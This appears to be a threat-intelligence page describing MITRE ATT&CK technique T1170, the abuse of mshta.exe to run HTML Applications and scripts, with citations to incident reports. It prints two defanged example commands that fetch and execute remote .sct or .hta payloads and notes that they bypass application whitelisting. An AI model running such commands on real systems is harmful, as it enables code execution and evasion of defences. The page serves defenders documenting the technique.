T1170
About this technique
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension <code>.hta</code>. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
Read the full ATT&CK description
Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility.
There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code>
They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>
Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Curated incident relationships
These associations come from maintained incident records. The recorded confidence is shown when the source record provides it.
Daily items linked through predicted CVEs
A Daily item appears here when it mentions a CVE whose triage artifact predicts this technique. This is not a verified ATT&CK mapping.
Predicted CVE associations
These backfilled or model-produced candidates come from the current triage artifact. They are informational, not official MITRE mappings.